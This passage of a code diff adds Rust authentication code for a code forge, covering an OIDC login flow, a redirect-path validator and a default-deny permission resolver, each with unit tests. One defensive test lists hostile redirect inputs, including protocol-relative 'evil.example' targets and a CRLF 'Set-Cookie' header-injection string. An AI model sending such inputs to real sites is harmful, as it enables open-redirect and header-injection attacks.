| 131 | + | let tampered = format!("{}.{}", n.into_iter().collect::<String>(), tag); | |
| 132 | + | assert!(!is_valid(SECRET, &tampered)); | |
| 133 | + | } | |
| 134 | + | } | |
Acrates/df-auth/src/lib.rs+17−0
| @@ −0,0 +1,17 @@ | |||
| 1 | + | //! `df-auth` — authentication and authorization. | |
| 2 | + | //! | |
| 3 | + | //! Humans authenticate through OIDC against Ory Hydra. Machines authenticate | |
| 4 | + | //! with personal access tokens (HTTP) or SSH public keys, because Git clients | |
| 5 | + | //! cannot perform a browser flow (spec §6). | |
| 6 | + | ||
| 7 | + | pub mod csrf; | |
| 8 | + | pub mod oidc; | |
| 9 | + | pub mod permissions; | |
| 10 | + | pub mod provisioning; | |
| 11 | + | pub mod session; | |
| 12 | + | pub mod ssh_keys; | |
| 13 | + | pub mod tokens; | |
| 14 | + | ||
| 15 | + | pub use oidc::{safe_redirect, Identity, Oidc}; | |
| 16 | + | pub use permissions::{resolve, AccessInputs, RepoAccess, Viewer}; | |
| 17 | + | pub use provisioning::Denied; | |
Acrates/df-auth/src/oidc.rs473 lines+473−0
| @@ −0,0 +1,473 @@ | |||
| 1 | + | //! OIDC relying party against Ory Hydra (spec §6). | |
| 2 | + | //! | |
| 3 | + | //! Authorization code flow with PKCE. The PKCE verifier, nonce, and post-login | |
| 4 | + | //! redirect are held server-side in `auth_flows` and keyed by an opaque state | |
| 5 | + | //! parameter, so nothing sensitive round-trips through the browser. | |
| 6 | + | //! | |
| 7 | + | //! Users are keyed on the `sub` claim, never on email — "emails change and are | |
| 8 | + | //! reassigned" (spec §6). On this deployment `sub` is the Kratos identity UUID, | |
| 9 | + | //! minted by the Account Experience consent handler at sso.dogfood.sh. | |
| 10 | + | ||
| 11 | + | use anyhow::{anyhow, Context, Result}; | |
| 12 | + | use chrono::{Duration, Utc}; | |
| 13 | + | use openidconnect::core::{CoreAuthenticationFlow, CoreClient, CoreProviderMetadata}; | |
| 14 | + | use openidconnect::reqwest; | |
| 15 | + | use openidconnect::{ | |
| 16 | + | AuthorizationCode, ClientId, ClientSecret, CsrfToken, IssuerUrl, Nonce, OAuth2TokenResponse, | |
| 17 | + | PkceCodeChallenge, PkceCodeVerifier, RedirectUrl, Scope, TokenResponse, | |
| 18 | + | }; | |
| 19 | + | use sqlx::PgPool; | |
| 20 | + | ||
| 21 | + | /// Claims Dogfood needs from a completed login. | |
| 22 | + | #[derive(Debug, Clone)] | |
| 23 | + | pub struct Identity { | |
| 24 | + | /// The OIDC `sub`. The stable key for `users.subject`. | |
| 25 | + | pub subject: String, | |
| 26 | + | pub email: Option<String>, | |
| 27 | + | pub name: Option<String>, | |
| 28 | + | pub preferred_username: Option<String>, | |
| 29 | + | /// The raw ID token JWT, kept only to send as `id_token_hint` on RP- | |
| 30 | + | /// Initiated Logout. `None` when the identity was reconstructed from the | |
| 31 | + | /// pending-handle cookie rather than a fresh token exchange. | |
| 32 | + | pub id_token: Option<String>, | |
| 33 | + | } | |
| 34 | + | ||
| 35 | + | impl Identity { | |
| 36 | + | /// Derive a candidate handle. | |
| 37 | + | /// | |
| 38 | + | /// Returns `None` when nothing clean can be derived, in which case the user | |
| 39 | + | /// is prompted to choose one (spec §6). Deliberately conservative: a bad | |
| 40 | + | /// automatic handle is worse than asking. | |
| 41 | + | pub fn suggested_handle(&self) -> Option<String> { | |
| 42 | + | let raw = self | |
| 43 | + | .preferred_username | |
| 44 | + | .as_deref() | |
| 45 | + | .or_else(|| self.email.as_deref().and_then(|e| e.split('@').next()))?; | |
| 46 | + | ||
| 47 | + | let cleaned: String = raw | |
| 48 | + | .to_lowercase() | |
| 49 | + | .chars() | |
| 50 | + | .map(|c| if c.is_ascii_alphanumeric() { c } else { '-' }) | |
| 51 | + | .collect(); | |
| 52 | + | ||
| 53 | + | // Collapse runs of hyphens and trim them from both ends, then apply the | |
| 54 | + | // same rules the database CHECK enforces. | |
| 55 | + | let mut out = String::with_capacity(cleaned.len()); | |
| 56 | + | let mut last_hyphen = false; | |
| 57 | + | for c in cleaned.chars() { | |
| 58 | + | if c == '-' { | |
| 59 | + | if !last_hyphen && !out.is_empty() { | |
| 60 | + | out.push('-'); | |
| 61 | + | } | |
| 62 | + | last_hyphen = true; | |
| 63 | + | } else { | |
| 64 | + | out.push(c); | |
| 65 | + | last_hyphen = false; | |
| 66 | + | } | |
| 67 | + | } | |
| 68 | + | let out = out.trim_end_matches('-').to_string(); | |
| 69 | + | ||
| 70 | + | let valid = !out.is_empty() | |
| 71 | + | && out.len() <= 39 | |
| 72 | + | && out.starts_with(|c: char| c.is_ascii_lowercase() || c.is_ascii_digit()); | |
| 73 | + | ||
| 74 | + | valid.then_some(out) | |
| 75 | + | } | |
| 76 | + | } | |
| 77 | + | ||
| 78 | + | /// A configured relying party. | |
| 79 | + | pub struct Oidc { | |
| 80 | + | client: CoreClient< | |
| 81 | + | openidconnect::EndpointSet, | |
| 82 | + | openidconnect::EndpointNotSet, | |
| 83 | + | openidconnect::EndpointNotSet, | |
| 84 | + | openidconnect::EndpointNotSet, | |
| 85 | + | openidconnect::EndpointMaybeSet, | |
| 86 | + | openidconnect::EndpointMaybeSet, | |
| 87 | + | >, | |
| 88 | + | http: reqwest::Client, | |
| 89 | + | scopes: Vec<String>, | |
| 90 | + | end_session_endpoint: Option<String>, | |
| 91 | + | } | |
| 92 | + | ||
| 93 | + | impl Oidc { | |
| 94 | + | /// Discover provider metadata and build the client. | |
| 95 | + | /// | |
| 96 | + | /// Called once at startup; a failure here is fatal, because an instance that | |
| 97 | + | /// cannot authenticate anyone is not usefully running. | |
| 98 | + | pub async fn discover( | |
| 99 | + | issuer: &str, | |
| 100 | + | client_id: &str, | |
| 101 | + | client_secret: &str, | |
| 102 | + | redirect_url: &str, | |
| 103 | + | scopes: &str, | |
| 104 | + | ) -> Result<Self> { | |
| 105 | + | let http = reqwest::ClientBuilder::new() | |
| 106 | + | // SSRF hardening: the discovery document and JWKS are the only | |
| 107 | + | // outbound requests this process makes, and neither should ever | |
| 108 | + | // redirect. | |
| 109 | + | .redirect(reqwest::redirect::Policy::none()) | |
| 110 | + | .timeout(std::time::Duration::from_secs(15)) | |
| 111 | + | .build() | |
| 112 | + | .context("building OIDC http client")?; | |
| 113 | + | ||
| 114 | + | let issuer_url = IssuerUrl::new(issuer.to_string()) | |
| 115 | + | .with_context(|| format!("invalid OIDC_ISSUER: {issuer}"))?; | |
| 116 | + | ||
| 117 | + | let metadata = CoreProviderMetadata::discover_async(issuer_url.clone(), &http) | |
| 118 | + | .await | |
| 119 | + | .with_context(|| format!("OIDC discovery failed against {issuer}"))?; | |
| 120 | + | ||
| 121 | + | // `end_session_endpoint` is an RP-Initiated Logout field, not part of | |
| 122 | + | // core OIDC discovery, so `openidconnect` puts it behind a typed | |
| 123 | + | // additional-metadata parameter. Re-reading the document for one | |
| 124 | + | // optional string is simpler than threading that type through, and it | |
| 125 | + | // costs one request at startup. Absence is not an error — single logout | |
| 126 | + | // is then unavailable and we fall back to clearing our own session. | |
| 127 | + | let end_session_endpoint = fetch_end_session_endpoint(&http, &issuer_url).await; | |
| 128 | + | ||
| 129 | + | let client = CoreClient::from_provider_metadata( | |
| 130 | + | metadata, | |
| 131 | + | ClientId::new(client_id.to_string()), | |
| 132 | + | Some(ClientSecret::new(client_secret.to_string())), | |
| 133 | + | ) | |
| 134 | + | .set_redirect_uri( | |
| 135 | + | RedirectUrl::new(redirect_url.to_string()) | |
| 136 | + | .with_context(|| format!("invalid OIDC_REDIRECT_URL: {redirect_url}"))?, | |
| 137 | + | ); | |
| 138 | + | ||
| 139 | + | Ok(Oidc { | |
| 140 | + | client, | |
| 141 | + | http, | |
| 142 | + | scopes: scopes.split_whitespace().map(str::to_string).collect(), | |
| 143 | + | end_session_endpoint, | |
| 144 | + | }) | |
| 145 | + | } | |
| 146 | + | ||
| 147 | + | /// Build a client from provider metadata supplied directly, with no | |
| 148 | + | /// discovery request. | |
| 149 | + | /// | |
| 150 | + | /// Exists so tests can construct an `AppState` without a live identity | |
| 151 | + | /// provider. It is `#[doc(hidden)]` and takes the metadata JSON rather than | |
| 152 | + | /// an issuer URL, so it cannot be mistaken for a supported way to configure | |
| 153 | + | /// a real instance — production always discovers. | |
| 154 | + | #[doc(hidden)] | |
| 155 | + | pub fn from_metadata_json( | |
| 156 | + | metadata_json: &str, | |
| 157 | + | client_id: &str, | |
| 158 | + | client_secret: &str, | |
| 159 | + | redirect_url: &str, | |
| 160 | + | scopes: &str, | |
| 161 | + | ) -> Result<Self> { | |
| 162 | + | let metadata: CoreProviderMetadata = | |
| 163 | + | serde_json::from_str(metadata_json).context("parsing provider metadata")?; | |
| 164 | + | ||
| 165 | + | let client = CoreClient::from_provider_metadata( | |
| 166 | + | metadata, | |
| 167 | + | ClientId::new(client_id.to_string()), | |
| 168 | + | Some(ClientSecret::new(client_secret.to_string())), | |
| 169 | + | ) | |
| 170 | + | .set_redirect_uri(RedirectUrl::new(redirect_url.to_string()).context("redirect url")?); | |
| 171 | + | ||
| 172 | + | Ok(Oidc { | |
| 173 | + | client, | |
| 174 | + | http: reqwest::Client::new(), | |
| 175 | + | scopes: scopes.split_whitespace().map(str::to_string).collect(), | |
| 176 | + | end_session_endpoint: None, | |
| 177 | + | }) | |
| 178 | + | } | |
| 179 | + | ||
| 180 | + | pub fn end_session_endpoint(&self) -> Option<&str> { | |
| 181 | + | self.end_session_endpoint.as_deref() | |
| 182 | + | } | |
| 183 | + | ||
| 184 | + | /// Begin a login: persist the flow and return the URL to redirect to. | |
| 185 | + | /// | |
| 186 | + | /// `redirect_after` is where to send the user once login completes. It must | |
| 187 | + | /// already have been validated as a local path by the caller — an open | |
| 188 | + | /// redirect here would be handed to every user who clicks a login link. | |
| 189 | + | pub async fn begin(&self, db: &PgPool, redirect_after: Option<&str>) -> Result<String> { | |
| 190 | + | let (pkce_challenge, pkce_verifier) = PkceCodeChallenge::new_random_sha256(); | |
| 191 | + | ||
| 192 | + | let (auth_url, csrf_state, nonce) = { | |
| 193 | + | let mut req = self.client.authorize_url( | |
| 194 | + | CoreAuthenticationFlow::AuthorizationCode, | |
| 195 | + | CsrfToken::new_random, | |
| 196 | + | Nonce::new_random, | |
| 197 | + | ); | |
| 198 | + | // `authorize_url` already includes `openid`; adding it again | |
| 199 | + | // produces a duplicated scope in the request. | |
| 200 | + | for s in self.scopes.iter().filter(|s| s.as_str() != "openid") { | |
| 201 | + | req = req.add_scope(Scope::new(s.clone())); | |
| 202 | + | } | |
| 203 | + | req.set_pkce_challenge(pkce_challenge).url() | |
| 204 | + | }; | |
| 205 | + | ||
| 206 | + | sqlx::query( | |
| 207 | + | "INSERT INTO auth_flows (state, pkce_verifier, nonce, redirect_after, expires_at) | |
| 208 | + | VALUES ($1, $2, $3, $4, $5)", | |
| 209 | + | ) | |
| 210 | + | .bind(csrf_state.secret()) | |
| 211 | + | .bind(pkce_verifier.secret()) | |
| 212 | + | .bind(nonce.secret()) | |
| 213 | + | .bind(redirect_after) | |
| 214 | + | // Ten minutes is generous for a login round-trip and short enough that | |
| 215 | + | // abandoned flows do not accumulate. | |
| 216 | + | .bind(Utc::now() + Duration::minutes(10)) | |
| 217 | + | .execute(db) | |
| 218 | + | .await | |
| 219 | + | .context("persisting auth flow")?; | |
| 220 | + | ||
| 221 | + | Ok(auth_url.to_string()) | |
| 222 | + | } | |
| 223 | + | ||
| 224 | + | /// Complete a login. Consumes the stored flow, exchanges the code, and | |
| 225 | + | /// verifies the ID token. | |
| 226 | + | /// | |
| 227 | + | /// Returns the identity and the validated post-login redirect path. | |
| 228 | + | pub async fn complete( | |
| 229 | + | &self, | |
| 230 | + | db: &PgPool, | |
| 231 | + | state: &str, | |
| 232 | + | code: &str, | |
| 233 | + | ) -> Result<(Identity, Option<String>)> { | |
| 234 | + | // Single-use: DELETE … RETURNING means a replayed callback finds nothing | |
| 235 | + | // and is rejected, rather than being processed twice. | |
| 236 | + | let row: Option<(String, String, Option<String>, chrono::DateTime<Utc>)> = sqlx::query_as( | |
| 237 | + | "DELETE FROM auth_flows WHERE state = $1 | |
| 238 | + | RETURNING pkce_verifier, nonce, redirect_after, expires_at", | |
| 239 | + | ) | |
| 240 | + | .bind(state) | |
| 241 | + | .fetch_optional(db) | |
| 242 | + | .await | |
| 243 | + | .context("loading auth flow")?; | |
| 244 | + | ||
| 245 | + | let (verifier, nonce, redirect_after, expires_at) = | |
| 246 | + | row.ok_or_else(|| anyhow!("unknown or already-used login state"))?; | |
| 247 | + | ||
| 248 | + | if expires_at < Utc::now() { | |
| 249 | + | return Err(anyhow!("login took too long; please try again")); | |
| 250 | + | } | |
| 251 | + | ||
| 252 | + | let token_response = self | |
| 253 | + | .client | |
| 254 | + | .exchange_code(AuthorizationCode::new(code.to_string())) | |
| 255 | + | .map_err(|e| anyhow!("configuring code exchange: {e}"))? | |
| 256 | + | .set_pkce_verifier(PkceCodeVerifier::new(verifier)) | |
| 257 | + | .request_async(&self.http) | |
| 258 | + | .await | |
| 259 | + | .context("exchanging authorization code")?; | |
| 260 | + | ||
| 261 | + | let id_token = token_response | |
| 262 | + | .id_token() | |
| 263 | + | .ok_or_else(|| anyhow!("provider returned no ID token"))?; | |
| 264 | + | ||
| 265 | + | // Verifies signature, issuer, audience, expiry, and the nonce binding. | |
| 266 | + | let claims = id_token | |
| 267 | + | .claims(&self.client.id_token_verifier(), &Nonce::new(nonce)) | |
| 268 | + | .context("verifying ID token")?; | |
| 269 | + | ||
| 270 | + | // Belt and braces: the access token hash binding, when the provider | |
| 271 | + | // supplies it. | |
| 272 | + | if let Some(expected) = claims.access_token_hash() { | |
| 273 | + | let actual = openidconnect::AccessTokenHash::from_token( | |
| 274 | + | token_response.access_token(), | |
| 275 | + | id_token.signing_alg().map_err(|e| anyhow!("{e}"))?, | |
| 276 | + | id_token.signing_key(&self.client.id_token_verifier()).map_err(|e| anyhow!("{e}"))?, | |
| 277 | + | ) | |
| 278 | + | .map_err(|e| anyhow!("computing access token hash: {e}"))?; | |
| 279 | + | if &actual != expected { | |
| 280 | + | return Err(anyhow!("access token hash mismatch")); | |
| 281 | + | } | |
| 282 | + | } | |
| 283 | + | ||
| 284 | + | let identity = Identity { | |
| 285 | + | subject: claims.subject().to_string(), | |
| 286 | + | email: claims.email().map(|e| e.to_string()), | |
| 287 | + | name: claims | |
| 288 | + | .name() | |
| 289 | + | .and_then(|n| n.get(None)) | |
| 290 | + | .map(|n| n.to_string()), | |
| 291 | + | preferred_username: claims.preferred_username().map(|u| u.to_string()), | |
| 292 | + | id_token: Some(id_token.to_string()), | |
| 293 | + | }; | |
| 294 | + | ||
| 295 | + | Ok((identity, redirect_after)) | |
| 296 | + | } | |
| 297 | + | } | |
| 298 | + | ||
| 299 | + | /// Read `end_session_endpoint` out of the discovery document. | |
| 300 | + | /// | |
| 301 | + | /// Best-effort: any failure logs and yields `None` rather than aborting | |
| 302 | + | /// startup, since the endpoint is optional and only affects single logout. | |
| 303 | + | async fn fetch_end_session_endpoint( | |
| 304 | + | http: &reqwest::Client, | |
| 305 | + | issuer: &IssuerUrl, | |
| 306 | + | ) -> Option<String> { | |
| 307 | + | let url = format!( | |
| 308 | + | "{}/.well-known/openid-configuration", | |
| 309 | + | issuer.as_str().trim_end_matches('/') | |
| 310 | + | ); | |
| 311 | + | // `.text()` rather than `.json()`: the reqwest re-exported by | |
| 312 | + | // `openidconnect` is built without the `json` feature. | |
| 313 | + | let body = match http.get(&url).send().await { | |
| 314 | + | Ok(r) => match r.text().await { | |
| 315 | + | Ok(b) => b, | |
| 316 | + | Err(e) => { | |
| 317 | + | tracing::warn!("reading discovery document failed: {e}"); | |
| 318 | + | return None; | |
| 319 | + | } | |
| 320 | + | }, | |
| 321 | + | Err(e) => { | |
| 322 | + | tracing::warn!("re-reading discovery document failed: {e}"); | |
| 323 | + | return None; | |
| 324 | + | } | |
| 325 | + | }; | |
| 326 | + | let doc: serde_json::Value = match serde_json::from_str(&body) { | |
| 327 | + | Ok(v) => v, | |
| 328 | + | Err(e) => { | |
| 329 | + | tracing::warn!("discovery document was not JSON: {e}"); | |
| 330 | + | return None; | |
| 331 | + | } | |
| 332 | + | }; | |
| 333 | + | ||
| 334 | + | let endpoint = doc | |
| 335 | + | .get("end_session_endpoint") | |
| 336 | + | .and_then(|v| v.as_str()) | |
| 337 | + | .map(str::to_string); | |
| 338 | + | ||
| 339 | + | match &endpoint { | |
| 340 | + | Some(e) => tracing::info!("single logout available at {e}"), | |
| 341 | + | None => tracing::info!("provider advertises no end_session_endpoint; single logout disabled"), | |
| 342 | + | } | |
| 343 | + | endpoint | |
| 344 | + | } | |
| 345 | + | ||
| 346 | + | /// Remove expired login flows. Run periodically from the worker. | |
| 347 | + | pub async fn sweep_expired_flows(db: &PgPool) -> Result<u64> { | |
| 348 | + | let r = sqlx::query("DELETE FROM auth_flows WHERE expires_at < now()") | |
| 349 | + | .execute(db) | |
| 350 | + | .await?; | |
| 351 | + | Ok(r.rows_affected()) | |
| 352 | + | } | |
| 353 | + | ||
| 354 | + | /// Validate a post-login redirect target. | |
| 355 | + | /// | |
| 356 | + | /// Only site-local absolute paths are allowed. Anything else — an absolute URL, | |
| 357 | + | /// a protocol-relative `//evil.example`, or a backslash variant some browsers | |
| 358 | + | /// normalise to `//` — is discarded rather than corrected. | |
| 359 | + | pub fn safe_redirect(candidate: &str) -> Option<String> { | |
| 360 | + | if !candidate.starts_with('/') { | |
| 361 | + | return None; | |
| 362 | + | } | |
| 363 | + | // `//host` and `/\host` are both treated as scheme-relative by some | |
| 364 | + | // browsers, which would make this an open redirect. | |
| 365 | + | let rest = &candidate.as_bytes()[1..]; | |
| 366 | + | if matches!(rest.first(), Some(b'/') | Some(b'\\')) { | |
| 367 | + | return None; | |
| 368 | + | } | |
| 369 | + | if candidate.contains(['\r', '\n', '\0']) { | |
| 370 | + | return None; | |
| 371 | + | } | |
| 372 | + | Some(candidate.to_string()) | |
| 373 | + | } | |
| 374 | + | ||
| 375 | + | #[cfg(test)] | |
| 376 | + | mod tests { | |
| 377 | + | use super::*; | |
| 378 | + | ||
| 379 | + | fn ident(user: Option<&str>, email: Option<&str>) -> Identity { | |
| 380 | + | Identity { | |
| 381 | + | subject: "sub".into(), | |
| 382 | + | email: email.map(str::to_string), | |
| 383 | + | name: None, | |
| 384 | + | preferred_username: user.map(str::to_string), | |
| 385 | + | id_token: None, | |
| 386 | + | } | |
| 387 | + | } | |
| 388 | + | ||
| 389 | + | #[test] | |
| 390 | + | fn handle_prefers_preferred_username() { | |
| 391 | + | assert_eq!( | |
| 392 | + | ident(Some("alice"), Some("bob@example.com")).suggested_handle(), | |
| 393 | + | Some("alice".into()) | |
| 394 | + | ); | |
| 395 | + | } | |
| 396 | + | ||
| 397 | + | #[test] | |
| 398 | + | fn handle_falls_back_to_email_local_part() { | |
| 399 | + | assert_eq!( | |
| 400 | + | ident(None, Some("bob@example.com")).suggested_handle(), | |
| 401 | + | Some("bob".into()) | |
| 402 | + | ); | |
| 403 | + | } | |
| 404 | + | ||
| 405 | + | #[test] | |
| 406 | + | fn handle_is_normalised_to_the_database_constraint() { | |
| 407 | + | // Must satisfy: ^[a-z0-9][a-z0-9-]{0,38}$ | |
| 408 | + | assert_eq!( | |
| 409 | + | ident(None, Some("Bob.Smith+tag@example.com")).suggested_handle(), | |
| 410 | + | Some("bob-smith-tag".into()) | |
| 411 | + | ); | |
| 412 | + | assert_eq!( | |
| 413 | + | ident(Some("Foo__Bar"), None).suggested_handle(), | |
| 414 | + | Some("foo-bar".into()), | |
| 415 | + | "runs of invalid characters collapse to a single hyphen" | |
| 416 | + | ); | |
| 417 | + | } | |
| 418 | + | ||
| 419 | + | #[test] | |
| 420 | + | fn handle_is_none_when_nothing_clean_can_be_derived() { | |
| 421 | + | assert_eq!(ident(None, None).suggested_handle(), None); | |
| 422 | + | assert_eq!(ident(Some("___"), None).suggested_handle(), None); | |
| 423 | + | // Must not start with a hyphen or be empty after cleaning. | |
| 424 | + | assert_eq!(ident(Some("-"), None).suggested_handle(), None); | |
| 425 | + | } | |
| 426 | + | ||
| 427 | + | #[test] | |
| 428 | + | fn suggested_handles_always_satisfy_the_db_constraint() { | |
| 429 | + | let re = regex_lite(); | |
| 430 | + | for raw in [ | |
| 431 | + | "alice", "Bob.Smith+tag@x.com", "UPPER", "a", "9lives", "x--y", | |
| 432 | + | "trailing-", "-leading", "with space", "üñí", "a".repeat(80).as_str(), | |
| 433 | + | ] { | |
| 434 | + | if let Some(h) = ident(Some(raw), None).suggested_handle() { | |
| 435 | + | assert!(re(&h), "derived handle {h:?} from {raw:?} violates the constraint"); | |
| 436 | + | } | |
| 437 | + | } | |
| 438 | + | } | |
| 439 | + | ||
| 440 | + | /// Mirror of the SQL CHECK, so the test does not need a regex crate. | |
| 441 | + | fn regex_lite() -> impl Fn(&str) -> bool { | |
| 442 | + | |h: &str| { | |
| 443 | + | !h.is_empty() | |
| 444 | + | && h.len() <= 39 | |
| 445 | + | && h.chars().next().is_some_and(|c| c.is_ascii_lowercase() || c.is_ascii_digit()) | |
| 446 | + | && h.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') | |
| 447 | + | } | |
| 448 | + | } | |
| 449 | + | ||
| 450 | + | // ─── open redirect (spec §9) ───────────────────────────────────────────── | |
| 451 | + | ||
| 452 | + | #[test] | |
| 453 | + | fn safe_redirect_accepts_local_paths() { | |
| 454 | + | assert_eq!(safe_redirect("/dogfood/repo"), Some("/dogfood/repo".into())); | |
| 455 | + | assert_eq!(safe_redirect("/"), Some("/".into())); | |
| 456 | + | } | |
| 457 | + | ||
| 458 | + | #[test] | |
| 459 | + | fn safe_redirect_rejects_off_site_targets() { | |
| 460 | + | for bad in [ | |
| 461 | + | "https://evil.example", | |
| 462 | + | "//evil.example", | |
| 463 | + | "/\\evil.example", | |
| 464 | + | "http://evil.example", | |
| 465 | + | "evil.example", | |
| 466 | + | "", | |
| 467 | + | "/path\r\nSet-Cookie: x=y", | |
| 468 | + | "/path\0", | |
| 469 | + | ] { | |
| 470 | + | assert_eq!(safe_redirect(bad), None, "must reject redirect target {bad:?}"); | |
| 471 | + | } | |
| 472 | + | } | |
| 473 | + | } | |
Acrates/df-auth/src/permissions.rs+299−0
| @@ −0,0 +1,299 @@ | |||
| 1 | + | //! Authorization (spec §6). | |
| 2 | + | //! | |
| 3 | + | //! ```text | |
| 4 | + | //! Role read comment push manage-changes settings delete | |
| 5 | + | //! read ✓ ✓ · · · · | |
| 6 | + | //! write ✓ ✓ ✓ · · · | |
| 7 | + | //! maintain ✓ ✓ ✓ ✓ ✓ · | |
| 8 | + | //! admin ✓ ✓ ✓ ✓ ✓ ✓ | |
| 9 | + | //! ``` | |
| 10 | + | //! | |
| 11 | + | //! The whole point of this module is that permission logic exists in exactly one | |
| 12 | + | //! place. Spec §6: "Do not scatter permission checks through handlers — one | |
| 13 | + | //! function, one call site per request, and a default-deny fallthrough." | |
| 14 | + | //! | |
| 15 | + | //! [`resolve`] is pure — it takes facts already loaded from the database and | |
| 16 | + | //! returns a decision. That makes the interesting cases testable without a | |
| 17 | + | //! database, which matters because a mistake here is the private-repo leakage | |
| 18 | + | //! class of bug that §9 calls "the most common forge vulnerability". | |
| 19 | + | ||
| 20 | + | use df_db::models::{OrgRole, RepoRole, Visibility}; | |
| 21 | + | ||
| 22 | + | /// What a request is allowed to do with a repository. | |
| 23 | + | /// | |
| 24 | + | /// Constructed only by [`resolve`]. There is deliberately no way to build one | |
| 25 | + | /// with arbitrary permissions outside this module. | |
| 26 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 27 | + | pub struct RepoAccess { | |
| 28 | + | role: Option<RepoRole>, | |
| 29 | + | } | |
| 30 | + | ||
| 31 | + | impl RepoAccess { | |
| 32 | + | /// No access at all. The repo must be rendered as if it does not exist — | |
| 33 | + | /// see the note on 404s below. | |
| 34 | + | pub const DENIED: RepoAccess = RepoAccess { role: None }; | |
| 35 | + | ||
| 36 | + | pub fn role(&self) -> Option<RepoRole> { | |
| 37 | + | self.role | |
| 38 | + | } | |
| 39 | + | ||
| 40 | + | /// Whether the repo may be seen at all. | |
| 41 | + | /// | |
| 42 | + | /// When this is false the handler must return the *same* 404 a nonexistent | |
| 43 | + | /// repo returns (spec §9), never a 403 — a 403 confirms the repo exists, | |
| 44 | + | /// which is exactly the leak. | |
| 45 | + | pub fn can_read(&self) -> bool { | |
| 46 | + | self.role.is_some() | |
| 47 | + | } | |
| 48 | + | ||
| 49 | + | pub fn can_comment(&self) -> bool { | |
| 50 | + | self.at_least(RepoRole::Read) | |
| 51 | + | } | |
| 52 | + | ||
| 53 | + | pub fn can_push(&self) -> bool { | |
| 54 | + | self.at_least(RepoRole::Write) | |
| 55 | + | } | |
| 56 | + | ||
| 57 | + | /// Merge, abandon, retarget, edit others' changes. | |
| 58 | + | pub fn can_manage_changes(&self) -> bool { | |
| 59 | + | self.at_least(RepoRole::Maintain) | |
| 60 | + | } | |
| 61 | + | ||
| 62 | + | pub fn can_change_settings(&self) -> bool { | |
| 63 | + | self.at_least(RepoRole::Maintain) | |
| 64 | + | } | |
| 65 | + | ||
| 66 | + | pub fn can_delete(&self) -> bool { | |
| 67 | + | self.at_least(RepoRole::Admin) | |
| 68 | + | } | |
| 69 | + | ||
| 70 | + | fn at_least(&self, needed: RepoRole) -> bool { | |
| 71 | + | matches!(self.role, Some(r) if r >= needed) | |
| 72 | + | } | |
| 73 | + | } | |
| 74 | + | ||
| 75 | + | /// Everything [`resolve`] needs to know, loaded once per request. | |
| 76 | + | #[derive(Debug, Clone, Copy)] | |
| 77 | + | pub struct AccessInputs { | |
| 78 | + | pub visibility: Visibility, | |
| 79 | + | /// Set when the viewer is signed in. | |
| 80 | + | pub viewer: Option<Viewer>, | |
| 81 | + | /// The repo's owning user, when owned by a user. | |
| 82 | + | pub owner_user_id: Option<uuid::Uuid>, | |
| 83 | + | /// Direct collaborator role, if any. | |
| 84 | + | pub collaborator_role: Option<RepoRole>, | |
| 85 | + | /// The viewer's role in the owning org, when the repo is org-owned. | |
| 86 | + | pub org_role: Option<OrgRole>, | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | #[derive(Debug, Clone, Copy)] | |
| 90 | + | pub struct Viewer { | |
| 91 | + | pub user_id: uuid::Uuid, | |
| 92 | + | pub is_site_admin: bool, | |
| 93 | + | } | |
| 94 | + | ||
| 95 | + | /// Resolve effective access. | |
| 96 | + | /// | |
| 97 | + | /// Effective role is the maximum of: direct collaborator role, org role (org | |
| 98 | + | /// admins get `admin` on org repos), repo ownership, and site admin. Public | |
| 99 | + | /// repos additionally grant implicit `read` to everyone including anonymous | |
| 100 | + | /// users; private repos grant nothing implicitly. | |
| 101 | + | pub fn resolve(input: AccessInputs) -> RepoAccess { | |
| 102 | + | // Default deny. Every grant below is additive, and anything that falls | |
| 103 | + | // through this function unmatched ends up denied. | |
| 104 | + | let mut role: Option<RepoRole> = None; | |
| 105 | + | ||
| 106 | + | /// Raise `role` to at least `candidate`. | |
| 107 | + | fn raise(role: &mut Option<RepoRole>, candidate: RepoRole) { | |
| 108 | + | *role = Some(match *role { | |
| 109 | + | Some(existing) => existing.max(candidate), | |
| 110 | + | None => candidate, | |
| 111 | + | }); | |
| 112 | + | } | |
| 113 | + | ||
| 114 | + | // Public repos are readable by anyone, including anonymous requests. | |
| 115 | + | if matches!(input.visibility, Visibility::Public) { | |
| 116 | + | raise(&mut role, RepoRole::Read); | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | if let Some(viewer) = input.viewer { | |
| 120 | + | // Site admins have full access everywhere. | |
| 121 | + | if viewer.is_site_admin { | |
| 122 | + | raise(&mut role, RepoRole::Admin); | |
| 123 | + | } | |
| 124 | + | ||
| 125 | + | // Owning a repo grants admin on it. | |
| 126 | + | if input.owner_user_id == Some(viewer.user_id) { | |
| 127 | + | raise(&mut role, RepoRole::Admin); | |
| 128 | + | } | |
| 129 | + | ||
| 130 | + | if let Some(direct) = input.collaborator_role { | |
| 131 | + | raise(&mut role, direct); | |
| 132 | + | } | |
| 133 | + | ||
| 134 | + | // Org membership. Org admins get repo admin; plain members get read, | |
| 135 | + | // which is what makes private org repos visible to the org. | |
| 136 | + | match input.org_role { | |
| 137 | + | Some(OrgRole::Admin) => raise(&mut role, RepoRole::Admin), | |
| 138 | + | Some(OrgRole::Member) => raise(&mut role, RepoRole::Read), | |
| 139 | + | None => {} | |
| 140 | + | } | |
| 141 | + | } | |
| 142 | + | ||
| 143 | + | RepoAccess { role } | |
| 144 | + | } | |
| 145 | + | ||
| 146 | + | #[cfg(test)] | |
| 147 | + | mod tests { | |
| 148 | + | use super::*; | |
| 149 | + | use uuid::Uuid; | |
| 150 | + | ||
| 151 | + | fn viewer() -> Viewer { | |
| 152 | + | Viewer { user_id: Uuid::from_u128(1), is_site_admin: false } | |
| 153 | + | } | |
| 154 | + | ||
| 155 | + | fn base() -> AccessInputs { | |
| 156 | + | AccessInputs { | |
| 157 | + | visibility: Visibility::Private, | |
| 158 | + | viewer: None, | |
| 159 | + | owner_user_id: None, | |
| 160 | + | collaborator_role: None, | |
| 161 | + | org_role: None, | |
| 162 | + | } | |
| 163 | + | } | |
| 164 | + | ||
| 165 | + | // ─── the leakage cases (spec §9) ───────────────────────────────────────── | |
| 166 | + | ||
| 167 | + | #[test] | |
| 168 | + | fn anonymous_cannot_read_a_private_repo() { | |
| 169 | + | let a = resolve(base()); | |
| 170 | + | assert!(!a.can_read(), "anonymous access to a private repo must be denied"); | |
| 171 | + | assert_eq!(a.role(), None); | |
| 172 | + | } | |
| 173 | + | ||
| 174 | + | #[test] | |
